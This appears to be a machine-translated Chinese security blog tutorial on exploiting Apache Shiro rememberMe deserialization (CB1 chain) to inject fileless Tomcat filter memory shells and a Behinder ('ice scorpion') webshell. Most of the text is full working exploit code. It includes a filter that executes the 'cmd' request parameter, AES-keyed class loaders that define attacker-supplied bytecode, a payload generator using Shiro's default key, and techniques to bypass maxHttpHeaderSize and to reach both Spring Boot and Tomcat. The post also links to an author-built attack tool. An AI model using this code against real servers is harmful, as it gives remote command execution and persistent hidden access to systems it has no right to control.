Using shiro deserialization to inject ice scorpion memory
The first prophet community: https://xz.aliyun.com/t/10696
1, shiro deserialization injection memory horse
1) tomcat filter memory horse
Let's take a look at the code written by an ordinary jsp into the memory of tomcat filter:
<%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% final String name = "evil"; ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("Do Filter ......"); String cmd; if ((cmd = servletRequest.getParameter("cmd")) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest,servletResponse); System.out.println("doFilter"); } @Override public void destroy() { } }; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); /** * Add filterDef to filterDefs */ standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig); } %>
There are four main parts to logically split the above tomcat filter memory horse, which are as follows:
- Get the StandardContext object of tomcat
- Use the standardContext standard context object to get filterconfigures
- Logic code of malicious filter
- The malicious filter is encapsulated layer by layer and stored in the logic of filter configs
By accessing the above jsp code and triggering these four main logics, you can dynamically inject a filter object with name evil and filter path URLPattern / * and then access / * to trigger malicious code in doFilter.
2) Using shiro deserialization to inject memory
Write the filter memory logic mentioned above into the static method of the malicious class, and then use TemplatesImpl to dynamically load the bytecode to trigger its logic, so as to inject the malicious filter
Construct behinderfilter java
Because the BehinderFilter is loaded by the TemplatesImpl class, it needs to inherit the AbstractTranslet class
After the code of tomcat filter memory horse is put into the constructor, a request object will be missing. Here, the request is only used to get the standardContext, and we can get the standardContext in other ways
In the article: Java Memory horse: a new method for obtaining StandardContext in Tomcat full version As mentioned in, there is a ContextLoader object in the thread where Tomcat processes the request, and this object saves the StandardContext object, so you can get the StandardContext from the thread through the following code
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Look at the logic in lines 41 and 78 below. After instantiating an internal class, set it into filterDef
In fact, the whole malicious class BehinderFilter can be directly regarded as a filter to implement the filter interface
public class BehinderFilter extends AbstractTranslet implements Filter
Then write the Filter logic into the doFilter method of this class, and finally get the following code
package com.govuln.shiroattack.memshell; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.lang.reflect.Field; import org.apache.catalina.core.StandardContext; import java.lang.reflect.InvocationTargetException; import java.util.Map; import java.io.IOException; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import java.lang.reflect.Constructor; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.Context; import javax.servlet.*; public class BehinderFilter extends AbstractTranslet implements Filter { static { try { final String name = "evil"; final String URLPattern = "/*"; WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); BehinderFilter behinderFilter = new BehinderFilter(); FilterDef filterDef = new FilterDef(); filterDef.setFilter(behinderFilter); filterDef.setFilterName(name); filterDef.setFilterClass(behinderFilter.getClass().getName()); /** * Add filterDef to filterDefs */ standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern(URLPattern); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig); } catch (NoSuchFieldException ex) { ex.printStackTrace(); } catch (InvocationTargetException ex) { ex.printStackTrace(); } catch (IllegalAccessException ex) { ex.printStackTrace(); } catch (NoSuchMethodException ex) { ex.printStackTrace(); } catch (InstantiationException ex) { ex.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("Do Filter ......"); String cmd; if ((cmd = servletRequest.getParameter("cmd")) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); System.out.println("doFilter"); } @Override public void destroy() { } }
shiro deserialization injection memory horse
Here, P Niu is used to inject memory into the CB1 chain without CC dependency of shiro. The project code address is: https://github.com/phith0n/JavaThings
tomcat core package needs to be added to the project environment given by P God to solve the error reporting of constructed malicious classes:
<dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-core</artifactId> <version>8.5.50</version> </dependency>
Create a new class, use javassist to read the class of a class file, and then use shiro's own class to encrypt it with base64+aes
public class Client_memshell { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(com.govuln.shiroattack.memshell.BehinderFilter.class.getName()); byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode()); AesCipherService aes = new AesCipherService(); byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); } }
The generated characters can be successfully injected into memory by putting them into rememberMe
Test pop-up calculator
2, Inject ice scorpion memory horse
After the shiro is injected into the memory horse, I wonder if I can inject the ice scorpion. First, understand the logic of the ice scorpion jsp horse
1) Ice scorpion logic
View behind_ v3. 0_ Beta_ Shell in 9 Jsp code
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %> <%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } %> <% if (request.getMethod().equals("POST")) { String k = "e45e329feb5d925b";/*The key is the first 16 bits of the 32-bit md5 value of the connection password, and the default connection password is rebeyond*/ session.putValue("u", k); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(k.getBytes(), "AES")); new U(this.getClass().getClassLoader()).g( c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))) .newInstance().equals(pageContext); } %>
- Ice scorpion has customized a class loader U that can parse the class byte array. The logic is to use the g method to call super Defineclass, byte [] can be directly converted into a class object
-
After determining that it is a post request, read the data in the request body and get the bytecode data decoded by Base64+AES.
-
After calling the custom class loader U to get the class, instantiate the newInstance, call the equals method of its malicious object, and pass in the pageContext
2) Transform ice scorpion horse
Try in behinderfilter Java filter, put the core logic code of ice scorpion
if (request.getMethod().equals("POST")) { String k = "e45e329feb5d925b";/*The key is the first 16 bits of the 32-bit md5 value of the connection password, and the default connection password is rebeyond*/ session.putValue("u", k); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(k.getBytes(), "AES")); new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); }
The next step is how to solve several red problems in the code
request and session objects
The request object can be obtained through the ServletRequest passed in its doFilter method parameter, and the session can be obtained through request Getsession() get
// Get request and response objects HttpServletRequest request = (HttpServletRequest) servletRequest; HttpServletResponse response = (HttpServletResponse)servletResponse; HttpSession session = request.getSession();
pageContext object
pageContext object is one of the nine built-in objects of jsp, which is written by the author of ice scorpion rebeyond Articles Java chapter of a new one sentence Trojan horse using dynamic binary encryption As you know, in the code of ice scorpion, the server needs to get request/response/session from the pageContext object.
After ice scorpion 3.0 bata7, we no longer rely on the pageContext object. We only need to give the request/response/session object in the object object object passed in the equal function. Therefore, at this time, we can replace the pageContext object with a Map and add these three objects manually
//create pageContext HashMap pageContext = new HashMap(); pageContext.put("request",request); pageContext.put("response",response); pageContext.put("session",session);
Then when we make the behinderfilter Java, inject the CB1 chain, and send it to shiro through rememberMe, you will find that the ice scorpion is not connected. This error is in the article Ice scorpion transformation of unchanged client = > memory horse You need to call the class loader through reflection. Give the code directly
//revision BehinderFilter Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class); method.setAccessible(true); byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())); Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length); evilclass.newInstance().equals(pageContext);
The final behinderfilter The Java code becomes as follows
package com.govuln.shiroattack.memshell; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.lang.reflect.Field; import org.apache.catalina.core.StandardContext; import java.lang.reflect.InvocationTargetException; import java.io.IOException; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import java.lang.reflect.Constructor; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.Context; import javax.servlet.*; import java.lang.reflect.Method; import java.util.*; import javax.crypto.*; import javax.crypto.spec.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; public class BehinderFilter extends AbstractTranslet implements Filter { static { try { final String name = "evil"; final String URLPattern = "/*"; WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); BehinderFilter behinderFilter = new BehinderFilter(); FilterDef filterDef = new FilterDef(); filterDef.setFilter(behinderFilter); filterDef.setFilterName(name); filterDef.setFilterClass(behinderFilter.getClass().getName()); /** * Add filterDef to filterDefs */ standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern(URLPattern); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig); } catch (NoSuchFieldException ex) { ex.printStackTrace(); } catch (InvocationTargetException ex) { ex.printStackTrace(); } catch (IllegalAccessException ex) { ex.printStackTrace(); } catch (NoSuchMethodException ex) { ex.printStackTrace(); } catch (InstantiationException ex) { ex.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { try { System.out.println("Do Filter ......"); // Get request and response objects HttpServletRequest request = (HttpServletRequest) servletRequest; HttpServletResponse response = (HttpServletResponse)servletResponse; HttpSession session = request.getSession(); //create pageContext HashMap pageContext = new HashMap(); pageContext.put("request",request); pageContext.put("response",response); pageContext.put("session",session); if (request.getMethod().equals("POST")) { String k = "e45e329feb5d925b";/*The key is the first 16 bits of the 32-bit md5 value of the connection password, and the default connection password is rebeyond*/ session.putValue("u", k); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(k.getBytes(), "AES")); //revision BehinderFilter Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class); method.setAccessible(true); byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())); Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length); evilclass.newInstance().equals(pageContext); } }catch (Exception e){ e.printStackTrace(); } filterChain.doFilter(servletRequest, servletResponse); System.out.println("doFilter"); } @Override public void destroy() { } }
First, the test is successful in shiro+tomcat environment
However, the test failed in the springboot+shiro environment:
3) Troubleshooting
In order to find out this error, I chose to directly put the memory horse into the springboot, register the filter myself, and debug the error point. The specific operations are as follows
After starting springboot, you can see behinderfilter Java: no filterconfigures found in line 41. An error is reported
In order to further check the error point, go to getdeclaraedfield
You can see that the filter configs search is performed at line 2068
There are no filterconfigures in this Fileld
Back to the filter code, in fact, you can see that a transformation has been made in line 39, and it is possible that the value of filterconfigures in the standardContext in springboot inherits from the parent class
Modify the code in line 41 as follows, and take filterconfigures from the parent class
Field Configs = standardContext.getClass().getSuperclass().getDeclaredField("filterConfigs");
No error is reported after running, and the logic is passed successfully
The next step is to modify the memory horse. The logical codes of filterconfigures in the two environments are different, namely the standardContext itself and its parent class. If you want to be compatible with these two environments, you can use try catch to write two different lines of code to get different class objects
Class<? extends StandardContext> aClass = null; try{ aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass(); aClass.getDeclaredField("filterConfigs"); }catch (Exception e){ aClass = (Class<? extends StandardContext>) standardContext.getClass(); aClass.getDeclaredField("filterConfigs"); }
The final modification is shown in the figure below
The final memory changes to:
package com.govuln.shiroattack.memshell; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.lang.reflect.Field; import org.apache.catalina.core.StandardContext; import java.lang.reflect.InvocationTargetException; import java.io.IOException; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import java.lang.reflect.Constructor; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.Context; import javax.servlet.*; import java.lang.reflect.Method; import java.util.*; import javax.crypto.*; import javax.crypto.spec.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; public class BehinderFilter extends AbstractTranslet implements Filter { static { try { final String name = "evil"; final String URLPattern = "/*"; WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); Class<? extends StandardContext> aClass = null; try{ aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass(); aClass.getDeclaredField("filterConfigs"); }catch (Exception e){ aClass = (Class<? extends StandardContext>) standardContext.getClass(); aClass.getDeclaredField("filterConfigs"); } Field Configs = aClass.getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); BehinderFilter behinderFilter = new BehinderFilter(); FilterDef filterDef = new FilterDef(); filterDef.setFilter(behinderFilter); filterDef.setFilterName(name); filterDef.setFilterClass(behinderFilter.getClass().getName()); /** * Add filterDef to filterDefs */ standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern(URLPattern); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig); } catch (NoSuchFieldException ex) { ex.printStackTrace(); } catch (InvocationTargetException ex) { ex.printStackTrace(); } catch (IllegalAccessException ex) { ex.printStackTrace(); } catch (NoSuchMethodException ex) { ex.printStackTrace(); } catch (InstantiationException ex) { ex.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { try { System.out.println("Do Filter ......"); // Get request and response objects HttpServletRequest request = (HttpServletRequest) servletRequest; HttpServletResponse response = (HttpServletResponse)servletResponse; HttpSession session = request.getSession(); //create pageContext HashMap pageContext = new HashMap(); pageContext.put("request",request); pageContext.put("response",response); pageContext.put("session",session); if (request.getMethod().equals("POST")) { String k = "e45e329feb5d925b";/*The key is the first 16 bits of the 32-bit md5 value of the connection password, and the default connection password is rebeyond*/ session.putValue("u", k); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(k.getBytes(), "AES")); //revision BehinderFilter Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class); method.setAccessible(true); byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())); Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length); evilclass.newInstance().equals(pageContext); } }catch (Exception e){ e.printStackTrace(); } filterChain.doFilter(servletRequest, servletResponse); System.out.println("doFilter"); } @Override public void destroy() { } }
Successfully tested springboot+shiro environment
shiro+tomcat environment succeeded:
3, Bypass maxHttpHeaderSize
In order to facilitate the test, in the above environment test, I modified the maxHttpHeaderSize parameter.
If we change to the default value, a 400 error will actually pop up, as follows
The reason is that the default value of maxHttpHeaderSize of tomcat is only 4096 bytes (4k), and the encrypted bytecode data is much larger than this 4096 bytes, so a 400 error will be burst. At present, three solutions are found and the corresponding article links are given
1) Modify maxHttpHeaderSize
Shiro 550 vulnerability learning (II): memory horse injection and echo
2) Compress and encode class bytes using gzip+base64
Technical research and detection method of tomcat combined with shiro fileless web shell
3) Send bytecode data from POST request body
Application of class dynamic loading in Java code execution vulnerability
Here, I recommend the third scheme, which is to send the encrypted behinderfilter in the post request body java
1) Send bytecode data from POST request body
According to Shifu's scheme, instead of injecting with the help of deserializing malicious filter, a MyClassLoader is deserialized, and its logic is
The static code block gets the request, response and session in the Spring Boot context, then gets the classData parameter, and dynamically loads the class by calling the defineClass through reflection. After instantiation, the equals method is invoked into three objects, request, response and session.
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class MyClassLoader extends AbstractTranslet { static{ try{ javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest(); java.lang.reflect.Field r=request.getClass().getDeclaredField("request"); r.setAccessible(true); org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse(); javax.servlet.http.HttpSession session = request.getSession(); String classData=request.getParameter("classData"); byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData); java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class}); defineClassMethod.setAccessible(true); Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length); cc.newInstance().equals(new Object[]{request,response,session}); }catch(Exception e){ e.printStackTrace(); } } @Override public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException { } @Override public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException { } }
Encrypt myclassloader through shiro's AES+Base64 Java gets the encrypted data
Then use the following command to get the class file behinderfilter base64 of class
cat BehinderFilter.class|base64 |sed ':label;N;s/\n//;b label'
Put myclassloader encrypted by shiro's AES+Base64 in rememberMe Java gets the encrypted data and transmits the classData to behinderfilter Class base64, remember to encode the url once
Successfully tested in springboot+shiro environment:
In shiro+tomcat environment, the test will fail because of myclassloader In Java code, the request object is obtained from the spring boot context, but there is no spring boot context in the tomcat+shiro environment, resulting in failure to obtain the request object
2) Find request object
How to find the request object in tomcat? Through the Exploration of Shiro memberme vulnerability detection This article gives us ideas by traversing thread To find the request object hidden in currentthread(). Which can be written by c0y1 master java-object-searcher , a memory object search tool to help us find.
Download Java object searcher and copy all files into tomcat's web project
Write a servlet and write the corresponding search logic in its doGet method
helloController.java
import josearcher.entity.Keyword; import josearcher.searcher.SearchRequstByBFS; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.PrintWriter; import java.util.ArrayList; import java.util.List; public class helloController extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { PrintWriter writer = resp.getWriter(); writer.println("hello servlet!"); //Set the search type to include ServletRequest, RequstGroup, Request Objects with keywords such as //Set the search type to include ServletRequest, RequstGroup, Request Objects with keywords such as List<Keyword> keys = new ArrayList<>(); Keyword.Builder builder = new Keyword.Builder(); builder.setField_type("nnn"); keys.add(new Keyword.Builder().setField_type("ServletRequest").build()); keys.add(new Keyword.Builder().setField_type("RequstGroup").build()); keys.add(new Keyword.Builder().setField_type("RequestInfo").build()); keys.add(new Keyword.Builder().setField_type("RequestGroupInfo").build()); keys.add(new Keyword.Builder().setField_type("Request").build()); //Create a new breadth first search thread Searcher for currentthread() SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys); //Turn on debug mode searcher.setIs_debug(true); //The excavation depth is 20 searcher.setMax_search_depth(20); //Set report save location searcher.setReport_save_path("D:\\"); searcher.searchObject(); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { doGet(req, resp); } }
Of course on the web XML should also be mapped
<!--register servlet--> <servlet> <servlet-name>hello</servlet-name> <servlet-class>controller.helloController</servlet-class> </servlet> <!--Servlet Mapped request path--> <servlet-mapping> <servlet-name>hello</servlet-name> <url-pattern>/hello</url-pattern> </servlet-mapping>
After running, access the url address to trigger the search, and the search result file is saved in the root directory of disk D
Open the search result file and find RequestInfo in one of the results
Check this object in debug mode, and the request object does exist
But in fact, you will find that the request object type is org apache. coyote. Request does not directly obtain the data in the request body. You need to get another type, org. Org, through its notes object apache. catalina. connector. The request object of request. Through this object, you can call the getParameter method to obtain the data in the request body. The specific debugging process is too long, so I won't elaborate here.
According to the above search, you can write the modified myclassloader Java object. In order to distinguish the previous classes, I renamed it classdataloader Java, the following is the code of this class
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class ClassDataLoader extends AbstractTranslet{ public ClassDataLoader() throws Exception { Object o; String s; String classData = null; boolean done = false; Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads"); for (int i = 0; i < ts.length; i++) { Thread t = ts[i]; if (t == null) { continue; } s = t.getName(); if (!s.contains("exec") && s.contains("http")) { o = getFV(t, "target"); if (!(o instanceof Runnable)) { continue; } try { o = getFV(getFV(getFV(o, "this$0"), "handler"), "global"); } catch (Exception e) { continue; } java.util.List ps = (java.util.List) getFV(o, "processors"); for (int j = 0; j < ps.size(); j++) { Object p = ps.get(j); o = getFV(p, "req"); Object conreq = o.getClass().getMethod("getNote", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)}); classData = (String) conreq.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(conreq, new Object[]{new String("classData")}); byte[] bytecodes = org.apache.shiro.codec.Base64.decode(classData); java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class}); defineClassMethod.setAccessible(true); Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)}); cc.newInstance(); done = true; if (done) { break; } } } } } public Object getFV(Object o, String s) throws Exception { java.lang.reflect.Field f = null; Class clazz = o.getClass(); while (clazz != Object.class) { try { f = clazz.getDeclaredField(s); break; } catch (NoSuchFieldException e) { clazz = clazz.getSuperclass(); } } if (f == null) { throw new NoSuchFieldException(s); } f.setAccessible(true); return f.get(o); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
The final test is to generate the classdataloader encrypted with AES+base64 in shiro Java, put it into rememberMe
Then generate behinderfilter Put base64 of class into the classData parameter
cat BehinderFilter.class|base64 |sed ':label;N;s/\n//;b label'
After sending, use ice scorpion to connect successfully
4, Finally
Thanks to the experimental environment of P God and wood God, which has helped me a lot. The experimental environment and code involved in this article are placed in github and can be downloaded by myself if necessary
https://github.com/yyhuni/shiroMemshell
Based on the principle of this article, I casually wrote a comprehensive utilization tool of shiro
https://github.com/yyhuni/shiroATK
reference resources:
https://www.cnblogs.com/bitterz/p/14820898.html
Application of class dynamic loading in Java code execution vulnerability
Technical research and detection method of tomcat combined with shiro fileless web shell
Shiro 550 vulnerability learning (II): memory horse injection and echo
https://github.com/c0ny1/java-object-searcher
https://blog.xray.cool/post/how-to-find-shiro-rememberme-deserialization-vulnerability/